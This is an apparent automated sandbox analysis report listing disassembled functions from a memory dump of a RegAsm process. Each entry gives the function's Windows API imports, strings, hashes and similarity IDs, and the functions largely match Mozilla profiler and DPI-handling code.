Opcode ID: 24872ef7b6528955813f740f226f3da6c413d6723b10964234b39344335818ec
Instruction ID: 66f43680a39ea0dab7724b07b212b6010b9756df0d235ffc1eea50774b211e27
Opcode Fuzzy Hash: 24872ef7b6528955813f740f226f3da6c413d6723b10964234b39344335818ec
Instruction Fuzzy Hash: BF41B671F0121DAFDF14CFA9D890ADEB7B5EF88354F14812AE505A7704EB319C458B90

Function 6CC955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CC6E1A5), ref: 6CC95606
LoadLibraryW.KERNEL32(gdi32,?,6CC6E1A5), ref: 6CC9560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC95633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC9563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC9566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC9567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC95696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC95716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC9572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC95748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC95761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC9577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC95793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC957FF

Strings

MonitorFromWindow, xrefs: 6CC9578D
CreateWindowExW, xrefs: 6CC956C5
FillRect, xrefs: 6CC95729
GetThreadDpiAwarenessContext, xrefs: 6CC9562D
LoadCursorW, xrefs: 6CC95774
EnableNonClientDpiScaling, xrefs: 6CC95666
GetDpiForWindow, xrefs: 6CC95690
GetMonitorInfoW, xrefs: 6CC957A2
GetSystemMetricsForDpi, xrefs: 6CC95677
StretchDIBits, xrefs: 6CC957CC
SetWindowLongPtrW, xrefs: 6CC957B7
GetWindowDC, xrefs: 6CC95710
ReleaseDC, xrefs: 6CC95742
AreDpiAwarenessContextsEqual, xrefs: 6CC95637
DeleteObject, xrefs: 6CC957F9
RegisterClassW, xrefs: 6CC956AC
user32, xrefs: 6CC95601
SetWindowPos, xrefs: 6CC956F7
gdi32, xrefs: 6CC9560A
ShowWindow, xrefs: 6CC956DE
LoadIconW, xrefs: 6CC9575B
CreateSolidBrush, xrefs: 6CC957E4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3394951234287e73555ebd44b89cf3b322af3ca4bf4ec0db362da85cab6028ff
Instruction ID: 60e0a58a143f38bf0554afb9d3c851d7e7888783ac5399ff866542497ea2477e
Opcode Fuzzy Hash: 3394951234287e73555ebd44b89cf3b322af3ca4bf4ec0db362da85cab6028ff
Instruction Fuzzy Hash: C75156787117436FDB019FF98E989263AF8AB062467104525F912E2B52FB70CD01CF78

Function 6CC7CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CC4582D), ref: 6CC7CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CC4582D), ref: 6CC7CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCAFE98,?,?,?,?,?,6CC4582D), ref: 6CC7CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CC4582D), ref: 6CC7CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CC4582D), ref: 6CC7CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CC4582D), ref: 6CC7CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC4582D), ref: 6CC7CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CC7CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CC7CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CC7CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CC7CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CC7CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CC7CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CC7CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CC7CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CC7CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CC7CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CC7CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CC7CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CC7CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CC7CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CC7CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CC7CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CC7CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CC7CE8A

Strings

samplingallthreads, xrefs: 6CC7CE2C
audiocallbacktracing, xrefs: 6CC7CDD4
jsallocations, xrefs: 6CC7CD0E
stackwalk, xrefs: 6CC7CCF8
processcpu, xrefs: 6CC7CE6E
nativeallocations, xrefs: 6CC7CDA8
fileioall, xrefs: 6CC7CCA8
ipcmessages, xrefs: 6CC7CDBE
cpuallthreads, xrefs: 6CC7CE16
Unrecognized feature "%s"., xrefs: 6CC7CEA0
markersallthreads, xrefs: 6CC7CE42
mainthreadio, xrefs: 6CC7CC7C
noiostacks, xrefs: 6CC7CCBE
default, xrefs: 6CC7CC21
preferencereads, xrefs: 6CC7CD92
notimerresolutionchange, xrefs: 6CC7CE00
nostacksampling, xrefs: 6CC7CD7C
power, xrefs: 6CC7CE84
leaf, xrefs: 6CC7CC66
unregisteredthreads, xrefs: 6CC7CE58
fileio, xrefs: 6CC7CC92
screenshots, xrefs: 6CC7CCD4
seqstyle, xrefs: 6CC7CCE6
java, xrefs: 6CC7CC37

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 774738c5f8732272e01d692e99011a24cc8c73497f340e28a2a4dc9d6857460c
Instruction ID: adbd82381bcde73db592a30a0d374516a24e326067855386c7318992915e659b
Opcode Fuzzy Hash: 774738c5f8732272e01d692e99011a24cc8c73497f340e28a2a4dc9d6857460c
Instruction Fuzzy Hash: BE51DDD190662712FE2031966F14BEA2488FF6335AF108076ED19B1F80FF15D60B86B7

Function 6CC447C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CC44801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC44817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC4482D
__Init_thread_footer.LIBCMT ref: 6CC4484A

Part of subcall function 6CC6AB3F: EnterCriticalSection.KERNEL32(6CCBE370,?,?,6CC33527,6CCBF6CC,?,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB49
Part of subcall function 6CC6AB3F: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC33527,6CCBF6CC,?,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6AB7C

GetCurrentThreadId.KERNEL32 ref: 6CC4485F
GetCurrentThreadId.KERNEL32 ref: 6CC4487E
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC4488B
free.MOZGLUE(?), ref: 6CC4493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC44956
free.MOZGLUE(00000000), ref: 6CC44960
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC4499A

Part of subcall function 6CC6AB89: EnterCriticalSection.KERNEL32(6CCBE370,?,?,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284), ref: 6CC6AB94
Part of subcall function 6CC6AB89: LeaveCriticalSection.KERNEL32(6CCBE370,?,6CC334DE,6CCBF6CC,?,?,?,?,?,?,?,6CC33284,?,?,6CC556F6), ref: 6CC6ABD1

free.MOZGLUE(?), ref: 6CC449C6
free.MOZGLUE(?), ref: 6CC449E9

Part of subcall function 6CC55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC55EDB
Part of subcall function 6CC55E90: memset.VCRUNTIME140(6CC97765,000000E5,55CCCCCC), ref: 6CC55F27
Part of subcall function 6CC55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC55FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CC447FC
[I %d/%d] profiler_shutdown, xrefs: 6CC44A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CC44812
MOZ_PROFILER_SHUTDOWN, xrefs: 6CC44A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CC44828

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c3381fb728d657a909445ee7a91afa5542c2f4a8981e1473ae35045f146566d2
Instruction ID: 4528e45bac91a3110eb68051d6cd8346714f0730e06b1cc446e58ced7b74a6d5
Opcode Fuzzy Hash: c3381fb728d657a909445ee7a91afa5542c2f4a8981e1473ae35045f146566d2
Instruction Fuzzy Hash: B881F479A001008FDB00DFA9D89475A7775FF42328F24C629E916A7F41F731E895CBAA

Function 6CC419A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CCBF760), ref: 6CC419BD
GetCurrentProcess.KERNEL32 ref: 6CC419E5
GetLastError.KERNEL32 ref: 6CC41A27
moz_xmalloc.MOZGLUE(?), ref: 6CC41A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC41A4F
GetLastError.KERNEL32 ref: 6CC41A92
moz_xmalloc.MOZGLUE(?), ref: 6CC41AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC41ABA
LocalFree.KERNEL32(?), ref: 6CC41C69
free.MOZGLUE(?), ref: 6CC41C8F
free.MOZGLUE(?), ref: 6CC41C9D
CloseHandle.KERNEL32(?), ref: 6CC41CAE
ReleaseSRWLockExclusive.KERNEL32(6CCBF760), ref: 6CC41D52
GetLastError.KERNEL32 ref: 6CC41DA5
GetLastError.KERNEL32 ref: 6CC41DFB
GetLastError.KERNEL32 ref: 6CC41E49
GetLastError.KERNEL32 ref: 6CC41E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC41E9B

Part of subcall function 6CC42070: LoadLibraryW.KERNEL32(combase.dll,6CC41C5F), ref: 6CC420AE
Part of subcall function 6CC42070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CC420CD
Part of subcall function 6CC42070: __Init_thread_footer.LIBCMT ref: 6CC420E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6CC41F15
VerSetConditionMask.NTDLL ref: 6CC41F46
VerSetConditionMask.NTDLL ref: 6CC41F52
VerSetConditionMask.NTDLL ref: 6CC41F59
VerSetConditionMask.NTDLL ref: 6CC41F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CC41F6D

Strings

D, xrefs: 6CC41B57

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 895717a1f73ef8b452e90a911bde63b21506f9f5c2b01cfb6e98feee1f3c86d4
Instruction ID: b2d026e9837cb1b370bee3bbd4b60b3b97eaf70fdfa1789b7cc74fafcc677256
Opcode Fuzzy Hash: 895717a1f73ef8b452e90a911bde63b21506f9f5c2b01cfb6e98feee1f3c86d4
Instruction Fuzzy Hash: 07F1A3B1E00725AFEB109F65CC88B9AB7B8FF49704F108199E945A7640E774DD90CFA4

Function 6CC44470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC44730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CC444B2,6CCBE21C,6CCBF7F8), ref: 6CC4473E
Part of subcall function 6CC44730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CC4474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CC444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CC444D2
InitOnceExecuteOnce.KERNEL32(6CCBF80C,6CC3F240,?,?), ref: 6CC4451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CC4455C
LoadLibraryW.KERNEL32(?), ref: 6CC44592
InitializeCriticalSection.KERNEL32(6CCBF770), ref: 6CC445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CC445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CC445BB
InitOnceExecuteOnce.KERNEL32(6CCBF818,6CC3F240,?,?), ref: 6CC44612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CC44636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CC44644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CC4466D
VerSetConditionMask.NTDLL ref: 6CC4469F
VerSetConditionMask.NTDLL ref: 6CC446AB
VerSetConditionMask.NTDLL ref: 6CC446B2
VerSetConditionMask.NTDLL ref: 6CC446B9
VerSetConditionMask.NTDLL ref: 6CC446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CC446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CC446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CC446FD

Strings

l, xrefs: 6CC44578
user32.dll, xrefs: 6CC44557, 6CC4463F
kernel32.dll, xrefs: 6CC444CD
NativeNtBlockSet_Write, xrefs: 6CC446F7
WRusr.dll, xrefs: 6CC444B5

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: c4df8e3795961a23628eba3a7e3a71347c9e7869bfcf190ca36711acefcf5791
Instruction ID: 3e7a6c8b30bb29a77aa085271ec200a7b4c2a48b054c0c8ccb6636e1dfa86017
Opcode Fuzzy Hash: c4df8e3795961a23628eba3a7e3a71347c9e7869bfcf190ca36711acefcf5791
Instruction Fuzzy Hash: 2B6113B8A00248AFEB00CFE1CC49B957BB8EB46308F24C598E904AB751F7B19945CF55

Function 6CC7E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC77090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CC7B9F1,?), ref: 6CC77107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC7DCF5), ref: 6CC7E92D
GetCurrentThreadId.KERNEL32 ref: 6CC7EA4F
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EA5C
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EA80
GetCurrentThreadId.KERNEL32 ref: 6CC7EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC7DCF5), ref: 6CC7EA92
GetCurrentThreadId.KERNEL32 ref: 6CC7EB11
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CC7EB3C
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7EB5B

Part of subcall function 6CC75710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC7EB71), ref: 6CC757AB

Part of subcall function 6CC6CBE8: GetCurrentProcess.KERNEL32(?,6CC331A7), ref: 6CC6CBF1
Part of subcall function 6CC6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CC331A7), ref: 6CC6CBFA

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CC7EBAC

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

GetCurrentThreadId.KERNEL32 ref: 6CC7EBC1
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8,?,?,00000000), ref: 6CC7EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CC7EBE5
ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8,00000000), ref: 6CC7EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC7EC46
CloseHandle.KERNEL32(?), ref: 6CC7EC55
free.MOZGLUE(00000000), ref: 6CC7EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CC7EA9B
[I %d/%d] profiler_start, xrefs: 6CC7EBB4

Memory Dump Source

Source File: 00000002.00000002.2475276160.000000006CC31000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC30000, based on PE: true

Associated: 00000002.00000002.2475260144.000000006CC30000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475578054.000000006CCAD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475650854.000000006CCBE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2475681095.000000006CCC2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc30000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 92d745192a95e8bd1fec2b9da9d20eb111715bd3dbeffab84c153ca0725b3bf2
Instruction ID: b960cb37aa5d12f64546b49e9ebe4fd28ef9813aa94d18133e6ad8fc90e20c31
Opcode Fuzzy Hash: 92d745192a95e8bd1fec2b9da9d20eb111715bd3dbeffab84c153ca0725b3bf2
Instruction Fuzzy Hash: FCA1373A7006148FDB109FA8C494BAABBB5FF86318F14402DE91997F51FB709845CBB5

Function 6CC7F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CC44A68), ref: 6CC7945E
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC79470
Part of subcall function 6CC79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC79482
Part of subcall function 6CC79420: __Init_thread_footer.LIBCMT ref: 6CC7949F

GetCurrentThreadId.KERNEL32 ref: 6CC7F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CC7F8F9

Part of subcall function 6CC46390: GetCurrentThreadId.KERNEL32 ref: 6CC463D0
Part of subcall function 6CC46390: AcquireSRWLockExclusive.KERNEL32 ref: 6CC463DF
Part of subcall function 6CC46390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC4640E

ReleaseSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F93A
GetCurrentThreadId.KERNEL32 ref: 6CC7F98A
GetCurrentThreadId.KERNEL32 ref: 6CC7F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC7F716

Part of subcall function 6CC794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC794EE
Part of subcall function 6CC794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC79508

Part of subcall function 6CC3B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CC3B5E0

GetCurrentThreadId.KERNEL32 ref: 6CC7F739
AcquireSRWLockExclusive.KERNEL32(6CCBF4B8), ref: 6CC7F746
GetCurrentThreadId.KERNEL32 ref: 6CC7F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CCB385B,00000002,?,?,?,?,?), ref: 6CC7F829
free.MOZGLUE(?,?,00000000,?), ref: 6CC7F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CC7F866
free.MOZGLUE(?), ref: 6CC7FA0C

Part of subcall function 6CC45E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC455E1), ref: 6CC45E8C
Part of subcall function 6CC45E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC45E9D
Part of subcall function 6CC45E60: GetCurrentThreadId.KERNEL32 ref: 6CC45EAB
Part of subcall function 6CC45E60: GetCurrentThreadId.KERNEL32 ref: 6CC45EB8
Part of subcall function 6CC45E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC45ECF
Part of subcall function 6CC45E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CC45F27
Part of subcall function 6CC45E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CC45F47
Part of subcall function 6CC45E60: GetCurrentProcess.KERNEL32 ref: 6CC45F53
Part of subcall function 6CC45E60: GetCurrentThread.KERNEL32 ref: 6CC45F5C
Part of subcall function 6CC45E60: GetCurrentProcess.KERNEL32 ref: 6CC45F66
